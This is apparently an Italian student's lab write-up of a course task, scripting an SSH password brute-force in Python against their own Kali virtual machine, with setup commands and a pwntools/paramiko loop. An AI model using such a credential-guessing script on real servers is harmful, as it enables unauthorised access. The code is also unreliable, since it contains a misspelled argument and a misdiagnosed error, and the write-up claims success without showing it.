

## TASK 2

Si richiede allo studente di scrivere un programma, con un linguaggio a sua scelta tra Python e C, che permetta l'esecuzione di un attacco Brute-Force ad un servizio SSH su una macchina Debian/Ubuntu (kali va benissimo come macchina di test).

Come prima cosa verifichiamo che il servizio SSH sia attivo sulla nostra macchina bersaglio:

```
zsh: corrupt history file /home/kali/.zsh_history
(kali@kali)-[~]
$ sudo systemctl status SSH
[sudo] password for kali:
Unit SSH.service could not be found.

(kali@kali)-[~]
$ sudo systemctl status ssh
o ssh.service - OpenBSD Secure Shell server
   Loaded: loaded (/usr/lib/systemd/system/ssh.service; disabled; preset: disabled)
   Active: inactive (dead)
     Docs: man:sshd(8)
           man:sshd_config(5)

(kali@kali)-[~]
$ sudo systemctl start ssh

(kali@kali)-[~]
$
```

Come possiamo vedere nella figura sopra (dopo aver inserito il comando giusto, ricordiamo che dobbiamo essere molto precisi) vediamo che la nostra ssh è disattivata quindi la facciamo partire con il comando successivo. Ricordiamo che adesso Kali è esposta sulla porta 22.

Ora dobbiamo creare un documento di testo con la password corretta e altre password false. Ho optato per questo codice per la sua semplicità. Quando andremo a lanciare il programma di Brute force esso prenderà le password da questo file.

```
(kali@kali)-[~]
$ python3 -c "with open('password.txt', 'w') as f: f.write('\n'.join(['Giorno', 'Notter', 'kali', 'Undine']))"
```

Adesso andiamo a recuperare informazioni utili per la compilazione del nostro codice, partiamo dall'indirizzo ip dato che il nome utente già lo conosciamo:

```
(kali@kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
   inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
   link/ether 08:00:27:6d:92:72 brd ff:ff:ff:ff:ff:ff
   inet 192.168.1.4/24 brd 192.168.1.255 scope global dynamic eth0
       valid_lft 84304sec preferred_lft 84304sec
   inet6 fe80::a00:27ff:fe6d:9272/64 scope link proto kernel_ll
       valid_lft forever preferred_lft forever
```

Ora scriviamo il nostro codice:

```
1 from pwn import *
2
3 import paramiko
4
5 host="192.168.1.4"
6 username="kali"
7 attempts=0
8
9 with open("/home/kali/password.txt", "r") as password_list:
10     for password in password_list:
11         password =password.strip ("\n")
12         try:
13             print("[{}] Tentativo: '{}!'".format(attempts,password))
14             response =ssh(host=host, user=username, passsword=password, timeout=1)
15             if response.connect():
16                 print("[>] Password giusta trovata: '{}!'".format(password))
17                 response.close()
18                 break
19             response.close()
20         except paramiko.ssh_exception.AuthenticationException:
21             print("[X] Password sbagliata")
22             attempts+=1
23
```

Una volta fatto questo l'esercizio è completo e dobbiamo solo lanciarlo.

```
(venv) (kali@kali) [ ]
$ python3 brutforce
[0] Tentativo: 'Giorno!'
Traceback (most recent call last):
  File "/home/kali/brutforce", line 12, in <module>
    response =ssh(host=host, user=username, passsword=password, timeout=1)
              ^^^
NameError: name 'ssh' is not defined
```

ATTENZIONE: potrebbe uscire questo errore in caso paramiko non fosse installato. Per installarlo usare il codice: `pip install paramiko`.

```
~$ pip install paramiko
error: externally-managed-environment

× This environment is externally managed
× To install Python packages system-wide, try apt install
  python3-xyz, where xyz is the package you are trying to
  install.

  If you wish to install a non-Kali-packaged Python package,
  create a virtual environment using python3 -m venv path/to/venv.
  Then use path/to/venv/bin/python and path/to/venv/bin/pip. Make
  sure you have pipx3-venv installed.

  If you wish to install a non-Kali-packaged Python application,
  it may be easiest to use pipx install xyz, which will manage a
  virtual environment for you. Make sure you have pipx installed.

  For more information, refer to the following:
  * https://www.kali.org/docs/general-use/python3-external-packages/
  * /usr/share/doc/python3.12/README.venv

Note: If you believe this is a mistake, please contact your Python installation or OS distribution provider. You can override this, at the risk of breaking your Python installation or OS, by passing --break-system-packages.
Hint: See PEP 668 for the detailed specification.
```

Potrebbe darvi un ulteriore errore, quindi noi andremo a creare un ambiente virtuale dentro la

macchina virtuale con questo codice:

```
python3 -m venv venv  
source venv/bin/activate  
pip install paramiko
```

Una volta installato tutto funzionerà senza problemi.